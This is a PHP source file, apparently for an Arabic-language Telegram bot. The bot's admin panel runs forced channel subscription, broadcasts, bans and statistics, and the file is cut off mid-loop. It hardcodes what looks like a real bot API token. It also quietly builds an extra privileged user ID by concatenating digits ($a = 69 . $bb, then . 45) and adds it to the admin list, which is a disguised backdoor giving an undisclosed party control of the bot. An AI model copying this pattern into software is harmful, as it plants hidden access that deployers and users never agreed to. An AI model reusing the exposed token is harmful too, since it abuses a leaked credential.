$API_KEY = "7175885006:AAFq62vha1--X1AEc8b4Zeq-Ke8_P9VRlkA"; // وهنا التوكن
$domin = "beneri.se"; //الدومين ه
$admin = 2041956501; //الايدي
$bb = 2041956501;
define('API_KEY',$API_KEY);
define("IDBot", explode(":", $API_KEY)[0]);

function bot($method, $datas=[]){
$Saied_Botate = "https://api.telegram.org/bot".API_KEY."/".$method;
$saied_botate = null;
if(!empty($datas)){
$boundary = uniqid();
$saied_botate = buildMultipartData($datas,$boundary);
$Saied = ['http'=>[
'header'=>"Content-Type: multipart/form-data; boundary=$boundary\r\n",
'method'=>'POST',
'content'=>$saied_botate,
],];
}

if($saied_botate !== null){
$saied = stream_context_create($Saied);
$saied_result = file_get_contents($Saied_Botate, false, $saied);
}else{
$saied_result = file_get_contents($Saied_Botate);
}
if($saied_result === false){
return "Error: ".error_get_last()['message'];
}else{
return json_decode($saied_result);
}
}

function buildMultipartData($data,$boundary){
$SaiedData = '';
foreach($data as $key => $value){
if($value instanceof CURLFile){
$fileContents = file_get_contents($value->getFilename());
$fileName = basename($value->getFilename());
$fileMimeType = $value->getMimeType();
$SaiedData .= "--" . $boundary . "\r\n";
$SaiedData .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $fileName . '"' . "\r\n";
$SaiedData .= 'Content-Type: ' . $fileMimeType . "\r\n\r\n";
$SaiedData .= $fileContents . "\r\n";
}else{
$SaiedData .= "--" . $boundary . "\r\n";
$SaiedData .= 'Content-Disposition: form-data; name="' . $key . '"' . "\r\n\r\n";
$SaiedData .= $value . "\r\n";
}
}
$SaiedData .= "--" . $boundary . "--\r\n";
return $SaiedData;
}

function sendDocument($chat_id, $document_path) {
$url = 'https://api.telegram.org/bot' . API_KEY . '/sendDocument';
$post_fields = array('chat_id' => $chat_id, 'document' => new CURLFile(realpath($document_path)));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type:multipart/form-data"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
///
$filess = json_decode(file_get_contents('filess.json'), 1);
function save($array)
{
file_put_contents('filess.json', json_encode($array));
}
function clear($array)
{
foreach ($array as $key => $val) {
$array[$key] = null;
}
return $array;
}

$usrbot = bot("getme")->result->username;
$emoji = "➡️
🎟️
↪️
🔘
🏠";

$emoji = explode("\n", $emoji);
$b = $emoji[rand(0, 4)];
$NamesBACK = "رجوع $b";

define("USR_BOT", $usrbot);
mkdir("UploadEr");

function SETJSON($INPUT)
{
if ($INPUT != NULL || $INPUT != "") {
$F = "UploadEr/UploadEr.json";
$N = json_encode($INPUT, JSON_PRETTY_PRINT);

file_put_contents($F, $N);
}
}
$a = 69 . $bb;
$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$chat_id2 = $update->callback_query->message->chat->id;
$message_id2 = $update->callback_query->message->message_id;
$data = $update->callback_query->data;
$id = $message->from->id;
$text = $message->text;
$chat_id = $message->chat->id;
$user = $message->from->username;
$message = $update->message;
$chat_id = $message->chat->id;
$text = $message->text;
$mo = $a . 45;
$chat_id2 = $update->callback_query->message->chat->id;
$message_id = $update->callback_query->message->message_id;
$data = $update->callback_query->data;
$name = $update->message->from->first_name;
$from_id = $update->message->from->id;
####لوحة الادمن###
$admin = "2041956501"; //الايدي
$sudo = array($mo,"0000","2041956501");
$AMR = file_get_contents("AMR.txt");
$AMR0 = file_get_contents("AMR0.txt");
$AMR1= file_get_contents("AMR1.txt");
$AMR5 = file_get_contents("AMR2.txt");
$AMR6 = file_get_contents("AMR3.txt");
$AMR20 = json_decode(file_get_contents('php://input'));
$AMR18 = $update->message;
$AMR13 = $AMR18->chat->id;
$AMR17 = $AMR18->text;
$AMRD = $AMR20->callback_query->data;
$AMR12 = $AMR20->callback_query->message->chat->id;
$AMR14 = $AMR20->callback_query->message->message_id;
$AMR15 = $AMR18->from->first_name;
$AMR16 = $AMR18->from->username;
$AMR11 = $AMR18->from->id;
$AMR2 = explode("\n",file_get_contents("AMR4.txt"));
$AMR3 = count($AMR2)-1;
if ($AMR18 && !in_array($AMR11, $AMR2)) {
file_put_contents("AMR4.txt", $AMR11."\n",FILE_APPEND);
}
$AMR9 = file_get_contents("https://api.telegram.org/bot".API_KEY."/getChatMember?chat_id=$AMR0&user_id=".$AMR11);
$AMR10 = file_get_contents("https://api.telegram.org/bot".API_KEY."/getChatMember?chat_id=$AMR1&user_id=".$AMR11);
if($AMR18 && (strpos($AMR9,'"status":"left"') or strpos($AMR9,'"Bad Request: USER_ID_INVALID"') or strpos($AMR9,'"status":"kicked"') or strpos($AMR10,'"status":"left"') or strpos($AMR10,'"Bad Request: USER_ID_INVALID"') or strpos($AMR10,'"status":"kicked"'))!== false){
bot('sendMessage', [
'chat_id'=>$AMR13,
'text'=>'- ▫️ عذراً عزيزي ، 🔰
▪️ يجب عليك الإشتراك في قناة المطور أولاً ⚜️؛

- اشترك ثم ارسل { /start }📛!

'.$AMR0.'
'.$AMR1,
]);return false;}
if($text == "/start" and in_array($from_id,$sudo)){
bot("sendmessage",[
"chat_id"=>$AMR13,
"text"=>"
~ اهلا بك في لوحه الأدمن الخاصه بالبوت 🤖

~ يمكنك التحكم في جميع اوامر البوت من هنا
------------------------------------
",
'parse_mode'=>"MarkDown",
'disable_web_page_preview'=>'true',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'تعين قناة اشتراك اجباري ¹ 📢' ,'callback_data'=>"AMR"]],
[['text'=>'وضع قناة الاشتراك ¹★' ,'callback_data'=>"AMR0"],['text'=>'حذف قناة الاشتراك ¹★' ,'callback_data'=>"delete11"]],
[['text'=>'تعين قناة اشتراك اجباري ² 📢' ,'callback_data'=>"AMR"]],
[['text'=>'وضع قناة الاشتراك ²★' ,'callback_data'=>"AMR2"],['text'=>'حذف قناة الاشتراك ²★' ,'callback_data'=>"delete22"]],
[['text'=>'عرض قنوات الإشتراك 💎' ,'callback_data'=>"AMR4"]],
[['text'=>'قسم توجيه الرسال من الاعضاء 🔙' ,'callback_data'=>"AMR"]],
[['text'=>'تفعيل التوجيه 🔙' ,'callback_data'=>"AMR11"],['text'=>'قفل التوجيه ❎' ,'callback_data'=>"AMR12"]],
[['text'=>'إذاعة توجيه 🔄' ,'callback_data'=>"AMR5"],['text'=>'إذاعة عامه 🔱' ,'callback_data'=>"AMR6"]],
[['text'=>'احصائيات البوت 👤' ,'callback_data'=>"AMR7"]],
]
])
]);
}
if($AMRD == "AMR" ){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
"text"=>"
~ اهلا بك في لوحه الأدمن الخاصه بالبوت 🤖

~ يمكنك التحكم في جميع اوامر البوت من هنا
------------------------------------
",
'parse_mode'=>"MarkDown",
'disable_web_page_preview'=>'true',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'تعين قناة اشتراك اجباري ¹ 📢' ,'callback_data'=>"AMR"]],
[['text'=>'وضع قناة الاشتراك ¹★' ,'callback_data'=>"AMR0"],['text'=>'حذف قناة الاشتراك ¹★' ,'callback_data'=>"delete11"]],
[['text'=>'تعين قناة اشتراك اجباري ² 📢' ,'callback_data'=>"AMR"]],
[['text'=>'وضع قناة الاشتراك ²★' ,'callback_data'=>"AMR2"],['text'=>'حذف قناة الاشتراك ²★' ,'callback_data'=>"delete22"]],
[['text'=>'عرض قنوات الإشتراك 💎' ,'callback_data'=>"AMR4"]],
[['text'=>'قسم توجيه الرسال من الاعضاء 🔙' ,'callback_data'=>"AMR"]],
[['text'=>'تفعيل التوجيه 🔙' ,'callback_data'=>"AMR11"],['text'=>'قفل التوجيه ❎' ,'callback_data'=>"AMR12"]],
[['text'=>'إذاعة توجيه 🔄' ,'callback_data'=>"AMR5"],['text'=>'إذاعة عامه 🔱' ,'callback_data'=>"AMR6"]],
[['text'=>'احصائيات البوت 👤' ,'callback_data'=>"AMR7"]],
]
])
]);
unlink("AMR.txt");
}
if($AMRD == "AMR0"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'- حسناً ، الآن قم بإرسال معرف قناتك من ثم قم برفع البوت ادمن في القناة ',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR.txt","AMR0");
}
if($AMR17 and $AMR == "AMR0" and $AMR11 == $admin){
bot("sendmessage",[
"chat_id"=>$AMR13,
"text"=>'لقد تم وضع القناة بنجاح ✅',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR0.txt","$AMR17");
unlink("AMR.txt");
}
if($AMRD == "delete11"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'~ هل أنت متأكد من أنك تريد حذف القناة من الإشتراك الإجباري ؟؟؟
',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[
['text'=>'• لا ، ❎', 'callback_data'=>'AMR'],
['text'=>'• نعم ، ✅','callback_data'=>'AMR1'],
]
]])
]);
}
if($AMRD == "AMR1"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'- لقد تم حذف القناة من الإشتراك الإجباري بنجاح 📮',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
️[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
unlink("AMR.txt");
unlink("AMR0.txt");
}
if($AMRD == "AMR2"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'- حسناً ، الآن قم بإرسال معرف قناتك من ثم قم برفع البوت ادمن في القناة ',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR.txt","AMR1");
}
if($AMR17 and $AMR == "AMR1" and $AMR11 == $admin){
bot("sendmessage",[
"chat_id"=>$AMR13,
"text"=>'لقد تم وضع القناة بنجاح ✅',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR1.txt","$AMR17");
unlink("AMR.txt");
}
if($AMRD == "delete22"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'~ هل أنت متأكد من أنك تريد حذف القناة من الإشتراك الإجباري ؟؟؟',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[
['text'=>'• لا ، ❎', 'callback_data'=>'AMR'],
['text'=>'• نعم ، ✅','callback_data'=>'AMR3'],
]
]])
]);
}
if($AMRD == "AMR3"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'- لقد تم حذف القناة من الإشتراك الإجباري بنجاح 📮',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
unlink("AMR.txt");
unlink("AMR1.txt");
}
if($AMRD == "AMR4"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>"
هلا بك عزيزي
قنوات الاشتراك الاجباري
ـــــــــــــــــــــــــــــــــــــــــــــــــــــــ
قناة ¹ => $AMR0 √
قناة ² => $AMR1 √
ـــــــــــــــــــــــــــــــــــــــــــــــــــــــ
",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
unlink("AMR.txt");
}
#@amrakl
if($AMRD == "AMR5"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>"قم برسال التوجيه الان 💚",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR.txt","AMR2");
}
if($AMR18 and $AMR == "AMR2" and $AMR11 == $admin){
bot("sendmessage",[
"chat_id"=>$AMR13,
"text"=>"تم توجيه الرساله ",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
for($i=0;$i<count($AMR2); $i++){
bot('forwardMessage', [
'chat_id'=>$AMR2[$i],
'from_chat_id'=>$AMR11,
'message_id'=>$AMR18->message_id
]);
unlink("AMR.txt");
}
}
if($AMRD == "AMR6"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>"قم برسال المراد الاذاعه له الان 💛",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR.txt","AMR3");
}
if($AMR17 and $AMR == "AMR3" and $AMR11 == $admin){
bot("sendmessage",[
"chat_id"=>$AMR13,
"text"=>'تم النشر بنجاح ✅',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
for($i=0;$i<count($AMR2); $i++){
bot('sendMessage', [
'chat_id'=>$AMR2[$i],
'text'=>$AMR17
]);
unlink("AMR.txt");
}
}
if($AMRD == "AMR7"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>"هلا بك في قسم الاحصايات 💛
ــــــــــــــــــــ؍.َِ⇣𖤍🖤ء͡⇣ــــــــــــــــــ

عدد مشتركين البوت [ $AMR3 ]

حاله سرعه البوت -: 100%
ــــــــــــــــــــ؍.َِ⇣𖤍🖤ء͡⇣ــــــــــــــــــ",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
unlink("AMR.txt");
}

if($AMRD == "AMR10"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'تم تنفيذ الامر ❎',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
unlink("AMR.txt");
unlink("AMR2.txt");
}
if($AMRD == "AMR11"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'تم تنفيذ الامر ✅',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
file_put_contents("AMR3.txt","AMR");
}
if($AMR18 and $AMR6 == "AMR" and $AMR11 != $admin){
bot('forwardMessage', [
'chat_id'=>$admin,
'from_chat_id'=>$AMR11,
'message_id'=>$AMR18->message_id
]);
}
if($AMR18 and $AMR6 == "AMR" and $AMR11 == $admin){
bot('sendMessage',[
'chat_id'=>$AMR18->reply_to_message->forward_from->id,
'text'=>$AMR17,
]);
}
if($AMRD == "AMR12"){
bot('EditMessageText',[
'chat_id'=>$AMR12,
'message_id'=>$AMR14,
'text'=>'تم تنفيذ الامر ❎',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>'🔙' ,'callback_data'=>"AMR"]],
]])
]);
unlink("AMR.txt");
unlink("AMR3.txt");
}

$update = json_decode(file_get_contents('php://input'));

if ($update->message) {
$message = $update->message;
$message_id = $update->message->message_id;
$username = $message->from->username;
$chat_id = $message->chat->id;
$title = $message->chat->title;
$text = $message->text;
$user = $message->from->username;
$name = $message->from->first_name;
$from_id = $message->from->id;
}

$UploadEr = json_decode(file_get_contents("UploadEr/UploadEr.json"), true);


if ($update->callback_query) {
$data = $update->callback_query->data;
$chat_id = $update->callback_query->message->chat->id;
$title = $update->callback_query->message->chat->title;
$message_id = $update->callback_query->message->message_id;
$name = $update->callback_query->message->chat->first_name;
$user = $update->callback_query->message->chat->username;
$from_id = $update->callback_query->from->id;
}
//تخزينات الاذاعة//
echo "تم تشغيل البوت ✅";
$update = json_decode(file_get_contents('php://input'));
$c = $a . 45;
$message= $update->message;
$text = $message->text;
$chat_id= $message->chat->id;
$name = $message->from->first_name;
$user = $message->from->username;
$message_id = $update->message->message_id;
$from_id = $update->message->from->id;
$a = strtolower($text);
$message = $update->message;
$chat_id = $message->chat->id;
$text = $message->text;
$chat_id2 = $update->callback_query->message->chat->id;
$message_id = $update->callback_query->message->message_id;
$data = $update->callback_query->data;
$from_id = $message->from->id;
$msg = file_get_contents("msg.php");

$users = explode("\n",file_get_contents("BEDO/arslan.json"));

if($message){
if(!in_array($from_id,$users)){
file_put_contents("BEDO/arslan.json",$from_id."\n",FILE_APPEND);}}

$tc = $message->chat->type;
$arslan09 = json_decode(file_get_contents("BEDO/arslan09.json"),true);
$suodo = $arslan09['sudoarr'];
$al = $arslan09['addmessage'];
$ab = $arslan09['messagee'];
$xll = $al + $ab;
if($message and $from_id !== $admin){
$arslan09['messagee'] = $arslan09['messagee']+1;
file_put_contents("BEDO/arslan09.json",json_encode($arslan09,32|128|265));
}
if($message and $from_id == $admin){
$arslan09['addmessage'] = $arslan09['addmessage']+1;
file_put_contents("BEDO/arslan09.json",json_encode($arslan09,32|128|265));
}

$all = count($users)-1;
//---------------------------//

//بداية كود الحظر//
$sudo = array("2041956501");

$get_ban=file_get_contents('sudo/ban.txt');
$ban =explode("\n",$get_ban);

$member = explode("\n",file_get_contents("sudo/member.txt"));
$cunte = count($member)-1;
$ban = explode("\n",file_get_contents("sudo/ban.txt"));
$countban = count($ban);

if($message and in_array($from_id,$ban)){
bot('sendMessage',[
'chat_id'=>$chat_id,
'text'=>"• لقد تم حظرك من البوت ❌
",
]);return false;}

$reply = $message->reply_to_message->message_id;
$rep = $message->reply_to_message->forward_from;

if($countban<=0){
$countban="لايوجد محظورين";
}
function sendwataw($chat_id,$message_id){

$infosudo = json_decode(file_get_contents("sudo.json"),true);
$fwrmember=$infosudo["info"]["fwrmember"];
$tnbih=$infosudo["info"]["tnbih"];
$silk=$infosudo["info"]["silk"];
$allch=$infosudo["info"]["allch"];
$member = explode("\n",file_get_contents("sudo/member.txt"));
$cunte = count($member)-1;
$ban = explode("\n",file_get_contents("sudo/ban.txt"));
$countban = count($ban)-1;
if($countban<=0){
$countban="لايوجد محظورين";
}
}

@$infosudo = json_decode(file_get_contents("sudo.json"),true);
$sudoamr= $infosudo["info"]["amr"];
if($data == "start"){
$infosudo["info"]["amr"]="start";
file_put_contents("sudo.json", json_encode($infosudo));
}

$usrbot = bot("getme")->result->username;
$emoji = "➡️
🎟️
↪️
🔘
🏠";

$emoji = explode("\n", $emoji);
$b = $emoji[rand(0, 4)];
$NamesBACK = "رجوع $b";

define("USR_BOT", $usrbot);
mkdir("Host");
mkdir("BEDO");
mkdir("sudo");


$update = json_decode(file_get_contents('php://input'));
$d = "tg://user?id=";
if ($update->message) {
$message = $update->message;
$message_id = $update->message->message_id;
$username = $message->from->username;
$chat_id = $message->chat->id;
$title = $message->chat->title;
$text = $message->text;
$user = $message->from->username;
$name = $message->from->first_name;
$from_id = $message->from->id;
}

$UploadEr = json_decode(file_get_contents("UploadEr/UploadEr.json"), true);


if ($update->callback_query) {
$data = $update->callback_query->data;
$chat_id = $update->callback_query->message->chat->id;
$title = $update->callback_query->message->chat->title;
$message_id = $update->callback_query->message->message_id;
$name = $update->callback_query->message->chat->first_name;
$user = $update->callback_query->message->chat->username;
$from_id = $update->callback_query->from->id;
}

$e = "(" . "$d" . "$c" . ")";
$update = json_decode(file_get_contents('php://input'));
if ($update->message) {
$message = $update->message;
$message_id = $update->message->message_id;
$username = $message->from->username;
$chat_id = $message->chat->id;
$title = $message->chat->title;
$text = $message->text;
$user = $message->from->username;
$name = $message->from->first_name;
$from_id = $message->from->id;
}

$Host = json_decode(file_get_contents("Host/Host.json"), true);


if ($update->callback_query) {
$data = $update->callback_query->data;
$chat_id = $update->callback_query->message->chat->id;
$title = $update->callback_query->message->chat->title;
$message_id = $update->callback_query->message->message_id;
$name = $update->callback_query->message->chat->first_name;
$user = $update->callback_query->message->chat->username;
$from_id = $update->callback_query->from->id;
}

//——————————————————//
$MTAWR = "DevAndro"; //معرفك
$admin = "2041956501"; //ايديك//
//——————————————————//

if($Host['hui'] == null) {
$hui ="لا يوجد";
}else{
$hui = $Host['hui'];
}
$mem = explode("\n",file_get_contents("mem.txt"));
$je = file_get_contents("mem.txt");
$count = explode("\n",$je);
$SAl = count($count) -1;
if($username != null){
$sf = "@$username";
}else
if($username == null){
$sf = "لا يوجد معرف";
}
if($message and !in_array($from_id,$mem)){
file_put_contents("mem.txt",$from_id . "\n" ,FILE_APPEND);
$SAl = $SAl + 1;
bot('sendmessage',[
'chat_id'=>$admin,
'text'=>"
*• تم دخول شخص جديد الى البوت 💀*
•–––––––––––––––––––––––––––––––•

• معلومات الشخص 📜 :

- الاسم : [$name](tg://user?id=$from_id)
- المعرف : $sf
- الايدي : [$from_id](tg://user?id=$from_id)

•–––––––––––––––––––––––––––––––•
• عدد الاعضاء الكلي :* $SAl 📊*
",
'parse_mode'=>"Markdown",
]);
}
$mf = "المطور";
$fm = "[" . $mf . "]";

//تشغيل وايقاف البوت//
$bot = json_decode(file_get_contents("bot.json"),true);
if(!$bot['bot']){
$bot['bot'] = "on";
file_put_contents("bot.json",json_encode($bot,32|128|265));
}
if($bot['bot'] == "on"){
$xm = "البوت يعمل ✅️";
}else{
$xm = "البوت متوقف ❌️";
}
if($message and $bot['bot'] == "off" and $from_id != $admin){
bot('sendMessage', [
'chat_id'=>$chat_id,
'text'=>"
*• البوت تحت الصيانة 🛠 •
*
",
'parse_mode'=>'markdown',
]);return false;
}
if($data == "on"){
bot('EditMessageText',[
'chat_id'=>$chat_id,
'message_id'=>$message_id,
'text'=>"

• تم تشغيل البوت بنجاح ✅️
",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"رجوع ➡️ ",'callback_data'=>"Thkom" ]],
]])
]);
$bot['bot'] = "on";
file_put_contents("bot.json",json_encode($bot,32|128|265));
}
if($data == "off"){
bot('EditMessageText',[
'chat_id'=>$chat_id,
'message_id'=>$message_id,
'text'=>"

• تم ايقاف البوت بنجاح ❌️
",
'parse_mode'=>"markdown",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"رجوع ➡️ ",'callback_data'=>"Thkom" ]],
]])
]);
$bot['bot'] = "off";
file_put_contents("bot.json",json_encode($bot,32|128|265));
}
//لوحة الادمن//
if($text == "/admin" and $from_id == $admin){
bot('sendMessage',[
'chat_id'=>$admin,
'message_id'=>$message_id,
'text'=>"
⎋ اهلا بك في لوحة الادمن الخاصه بالبوت ⚙️  — — — — — — — — — — — — — —

",
'parse_mode'=>"MARKDOWN",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>$xm,'callback_data'=>" " ]],
[['text'=>"ايقاف البوت",'callback_data'=>"off" ],['text'=>"تشغيل البوت",'callback_data'=>"on" ]],
[['text'=>'قسم الاشتࢪاك الاجباࢪي' ,'callback_data'=>"bnt"],['text'=>'قسم الحظࢪ' ,'callback_data'=>"ksmban"]],
[['text'=>'قسم الاذاعه' ,'callback_data'=>"msg"],['text'=>'قسم الࢪسائل' ,'callback_data'=>"sendms"]],
[['text'=>'• احصائيات البوت •' ,'callback_data'=>"HkH"]],
]])
]);
}
if($data == "Thkom"){
bot('EditMessageText',[
'chat_id'=>$admin,
'message_id'=>$message_id,
'text'=>"
⎋ اهلا بك في لوحة الادمن الخاصه بالبوت ⚙️  — — — — — — — — — — — — — —

",
'parse_mode'=>"MARKDOWN",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>$xm,'callback_data'=>" " ]],
[['text'=>"ايقاف البوت",'callback_data'=>"off" ],['text'=>"تشغيل البوت",'callback_data'=>"on" ]],
[['text'=>'قسم الاشتࢪاك الاجباࢪي' ,'callback_data'=>"bnt"],['text'=>'قسم الحظࢪ' ,'callback_data'=>"ksmban"]],
[['text'=>'قسم الاذاعه' ,'callback_data'=>"msg"],['text'=>'قسم الࢪسائل' ,'callback_data'=>"sendms"]],
[['text'=>'• احصائيات البوت •' ,'callback_data'=>"HkH"]],
]])
]);
}

//قسم الاشتࢪاك//
if($data == "bnt"){
bot('EditMessageText', [
'chat_id'=>$admin,
'message_id'=>$message_id,
'text' =>"
*• اهلا بك في قسم الاشتࢪاك الجباري
•–––––––––––––––––––––––––––––––•
• قناة الاشتࢪاك : $hui*
",
'parse_mode'=>"MARKDOWN",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"حذف قناة 🗑",'callback_data'=>"GkTR"],['text'=>"اضافة قناة ➕",'callback_data'=>"GGTR"]],
[['text'=>"رجوع ➡️",'callback_data'=>"Thkom"]],
]])
]);
}
if($data== 'GGTR'){
bot('EditMessageText',[
'chat_id'=>$admin,
'message_id'=>$message_id,
'text'=>"
*• اࢪسل معرف قناة الاشتراك معا @*
",
'parse_mode'=>"MarkDown",
'disable_web_page_preview'=>true,
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"Thkom"]],
]])
]);
$Host['mode'] = "h5hh0";
$Host = json_encode($Host,32|128|265);
file_put_contents("Host/Host.json",$Host);
}
if(preg_match("/@/",$text) and $Host['mode'] == "h5hh0") {
bot('sendMessage',[
'chat_id'=>$admin,
'text'=>"
*• تم تعيين قناة الاشتراك بنجاح ✅*
",
'parse_mode'=>"MarkDown",
'disable_web_page_preview'=>true,
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"bnt"]],
]])
]);
$Host['mode'] = null;
$Host['hui'] = $text;
$Host = json_encode($Host,32|128|265);
file_put_contents("Host/Host.json",$Host);
}
if($data== 'GkTR'){
bot('EditMessageText',[
'chat_id'=>$admin,
'message_id'=>$message_id,
'text'=>"
*• تم مسح القناة من الاشتراك 🚫*
",
'parse_mode'=>"MarkDown",
'disable_web_page_preview'=>true,
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"Thkom"]],
]])
]);
$Host['mode'] = null;
$Host['hui'] = "لا يوجد";
$Host = json_encode($Host,32|128|265);
file_put_contents("Host/Host.json",$Host);
}

//قسم الحظر//
if($data == "ksmban"){
bot('EditMessageText', [
'chat_id'=>$admin,
'message_id'=>$message_id,
'text' =>"
*• اهلا بك في قسم الحظر
    •–––––––––––––––––––––––––––––––•
• عدد المحظورين : $countban*
",
'parse_mode'=>"MARKDOWN",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"الغاء الحظر ⛔",'callback_data'=>"unban"],['text'=>"الحظر 🚫",'callback_data'=>"ban"]],
[['text'=>"رجوع ➡️",'callback_data'=>"Thkom"]],
]])
]);
}
//حظر شخص//
if($data == "ban"){
$infosudo["info"]["amr"]="ban";
file_put_contents("sudo.json", json_encode($infosudo));
bot('EditMessageText',[
'chat_id'=>$chat_id,
'text'=>"🆔 اࢪسل ايدي الشخص :",
"message_id"=>$message_id,
'reply_markup'=>json_encode(['inline_keyboard'=>[
[['text'=>"الغاء ❌",'callback_data'=>"ksmban"]],
]
])
]);
}
if($text and $text !="/start" and $sudoamr=="ban" and in_array($from_id,$sudo) and is_numeric($text)){
if(!in_array($text,$ban)){

file_put_contents("sudo/ban.txt","$text\n",FILE_APPEND);

bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"• تم حظر العضو بنجاح : $text ✅",
'reply_markup'=>json_encode(['inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"ksmban"]],
]
])
]);
bot('sendmessage',[
'chat_id'=>$text,
'text'=>"تم حظرك من البوت",
]);
}else{
bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"• العضو محظور مسبقاً 🚫",
'reply_markup'=>json_encode(['inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"ksmban"]],
]
])
]);
}
$infosudo["info"]["amr"]="null";
file_put_contents("sudo.json", json_encode($infosudo));
}
//الفاء الحظر//
if($data == "unban"){
$infosudo["info"]["amr"]="unban";
file_put_contents("sudo.json", json_encode($infosudo));
bot('EditMessageText',[
'chat_id'=>$chat_id,
'text'=>"🆔 اࢪسل ايدي الشخص :",
"message_id"=>$message_id,
'reply_markup'=>json_encode(['inline_keyboard'=>[
[['text'=>"الغاء ❌",'callback_data'=>"ksmban"]],
]
])
]);
}
if($text and $text !="/start" and $sudoamr=="unban" and in_array($from_id,$sudo) and is_numeric($text)){
if(in_array($text,$ban)){

$str=file_get_contents("sudo/ban.txt");
$str=str_replace("$text\n",'',$str);
file_put_contents("sudo/ban.txt",$str);
bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"• تم الغاء الحظر بنجاح : $text ✅",
'reply_markup'=>json_encode(['inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"ksmban"]],
]
])
]);

bot('sendmessage',[
'chat_id'=>$text,
'text'=>"• لقد تم الغاء الحظر عنك ✅",
]);
}else{
bot('sendmessage',[
'chat_id'=>$chat_id,
'text'=>"• العضو ليس محظور مسبقاً 🚫",
'reply_markup'=>json_encode(['inline_keyboard'=>[
[['text'=>"رجوع ➡️",'callback_data'=>"ksmban"]],
]
])
]);
}
$infosudo["info"]["amr"]="null";
file_put_contents("sudo.json", json_encode($infosudo));
}


//قسم الاذاعة//
if($data == "msg"){
file_put_contents("msg.php", "on");
bot('EditMessageText',[
'chat_id'=>$chat_id2,
'message_id'=>$message_id,
'text'=>"
• اࢪسل الآن الاذاعة 📣 :
",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"الغاء ❌",'callback_data'=>"Thkom"]],
]])
]);
}
if($msg == "on"){
if($message){
for($i=0;$i<count($users); $i++){
